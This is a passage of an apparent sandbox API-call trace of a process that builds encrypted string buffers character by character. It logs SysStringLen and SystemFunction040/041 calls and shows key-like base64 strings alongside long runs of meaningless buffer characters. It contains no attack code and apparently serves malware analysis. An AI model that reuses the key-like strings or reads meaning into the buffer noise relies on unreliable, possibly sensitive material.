(param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍Ǖ㩾履㍈癔隒∏) returned 0x20 [0231.878] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍Ǖ㩾履㍈癔隒∏) returned 0x20 [0231.878] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.878] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlX㸝᡾") returned 0x20 [0231.878] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.878] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍㇕ĉᤋ⒆䚂舴\뻙") returned 0x20 [0231.879] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍㇕ĉᤋ⒆䚂舴\뻙") returned 0x20 [0231.879] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.879] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt᡾") returned 0x20 [0231.879] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.879] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍㳕ꃖ丧﬊䌥\䓝뗧") returned 0x20 [0231.879] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍㳕ꃖ丧﬊䌥\䓝뗧") returned 0x20 [0231.879] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.879] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1") returned 0x20 [0231.879] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.879] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ⊹) returned 0x20 [0231.879] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ⊹) returned 0x20 [0231.880] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ⊹) returned 0x20 [0231.880] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ貹∂) returned 0x28 [0231.880] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.880] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1d롸喝ᄒ珥싥쐆᱌") returned 0x28 [0231.880] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.880] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ\㣟ﶎ킺ㆾﻚᧃ奘紕") returned 0x28 [0231.880] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ\㣟ﶎ킺ㆾﻚᧃ奘紕") returned 0x28 [0231.880] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.880] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dx喝ᄒ珥싥쐆᱌") returned 0x28 [0231.880] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.881] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּᎹ㧅沐ᓼ滑矵⋸) returned 0x28 [0231.881] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּᎹ㧅沐ᓼ滑矵⋸) returned 0x28 [0231.881] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.881] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYᄒ珥싥쐆᱌") returned 0x28 [0231.881] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.881] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ킹潷伮㧳螭猇漀≫) returned 0x28 [0231.881] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ킹潷伮㧳螭猇漀≫) returned 0x28 [0231.881] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.881] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYm珥싥쐆᱌") returned 0x28 [0231.881] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.881] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּڹ튨쇝푔絛䨣罯᰽⋼) returned 0x28 [0231.881] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּڹ튨쇝푔絛䨣罯᰽⋼) returned 0x28 [0231.881] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.882] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmh싥쐆᱌") returned 0x28 [0231.882] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.882] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ뭁ဘ뮑갡䣩㩪∋) returned 0x28 [0231.882] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ뭁ဘ뮑갡䣩㩪∋) returned 0x28 [0231.882] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.882] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmhs쐆᱌") returned 0x28 [0231.882] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.882] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּᶹ뚭足അ䙄唍஛㷽⋋) returned 0x28 [0231.882] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּᶹ뚭足അ䙄唍஛㷽⋋) returned 0x28 [0231.882] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.882] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmhs3᱌") returned 0x28 [0231.882] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.882] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ▹酼\哞쳁옞훓쟜⥂") returned 0x28 [0231.882] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ▹酼\哞쳁옞훓쟜⥂") returned 0x28 [0231.882] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.883] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmhs3o") returned 0x28 [0231.883] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0231.883] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺≓) returned 0x28 [0231.883] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺≓) returned 0x28 [0231.883] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺≓) returned 0x28 [0231.883] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺≓) returned 0x30 [0231.883] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.883] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmhs3oB䆧䝯퍬泐鑇褈鸐") returned 0x30 [0231.883] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.884] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺打馺鸓媇ᾞﮀ읏⋰) returned 0x30 [0231.884] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺打馺鸓媇ᾞﮀ읏⋰) returned 0x30 [0231.884] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.884] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmhs3oBW䝯퍬泐鑇褈鸐") returned 0x30 [0231.884] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.884] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺㑓ィ犙샵㏨臮≅) returned 0x30 [0231.884] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺㑓ィ犙샵㏨臮≅) returned 0x30 [0231.884] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.884] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmhs3oBW8퍬泐鑇褈鸐") returned 0x30 [0231.884] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.884] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺쵓倥럝ᔄ糒饡䞁≛) returned 0x30 [0231.884] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍쏕⑿ꗌ쁘䍮宰빃לּ㈭ٹꈰ㽩㣧笢⯺쵓倥럝ᔄ糒饡䞁≛) returned 0x30 [0231.884] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.885] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAlXt1dxYmhs3oBW8=泐鑇褈鸐") returned 0x30 [0231.885] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0231.885] EtwEventActivityIdControl () returned 0x0 [0231.885] EtwEventActivityIdControl () returned 0x0 [0231.885] EtwEventActivityIdControl () returned 0x0 [0231.885] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.886] EtwEventActivityIdControl () returned 0x0 [0231.886] EtwEventActivityIdControl () returned 0x0 [0231.886] EtwEventActivityIdControl () returned 0x0 [0231.886] SysStringLen (param_1="") returned 0x8 [0231.886] SysStringLen (param_1="N") returned 0x8 [0231.886] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.887] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0231.887] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0231.887] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.887] SysStringLen (param_1="ND") returned 0x8 [0231.887] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.887] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0231.887] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0231.887] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.887] SysStringLen (param_1="NDZ") returned 0x8 [0231.887] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.887] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0231.887] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0231.887] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.888] SysStringLen (param_1="NDZl") returned 0x8 [0231.888] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.888] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0231.888] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0231.888] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.888] SysStringLen (param_1="NDZlO") returned 0x8 [0231.888] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.888] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0231.888] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0231.888] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.888] SysStringLen (param_1="NDZlOD") returned 0x8 [0231.888] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.888] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0231.889] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0231.889] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.889] SysStringLen (param_1="NDZlODR") returned 0x8 [0231.889] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.889] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0231.889] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0231.889] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.889] SysStringLen (param_1="NDZlODRm") returned 0x8 [0231.889] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0231.890] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.890] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0231.890] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0231.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0231.890] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.890] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0231.890] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0231.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0231.891] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.891] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0231.891] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0231.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0231.891] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.891] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0231.891] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0231.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0231.891] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.891] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0231.892] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0231.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0231.892] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.892] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0231.892] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0231.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0231.892] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.892] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0231.892] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0231.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0231.892] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.893] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0231.893] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0231.893] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.003] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0232.003] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0232.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0232.003] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0232.003] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0232.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0232.004] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0232.004] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0232.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0232.004] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0232.004] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0232.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0232.004] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0232.004] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0232.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0232.005] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.005] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0232.005] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0232.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0232.005] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.005] SysStringLen 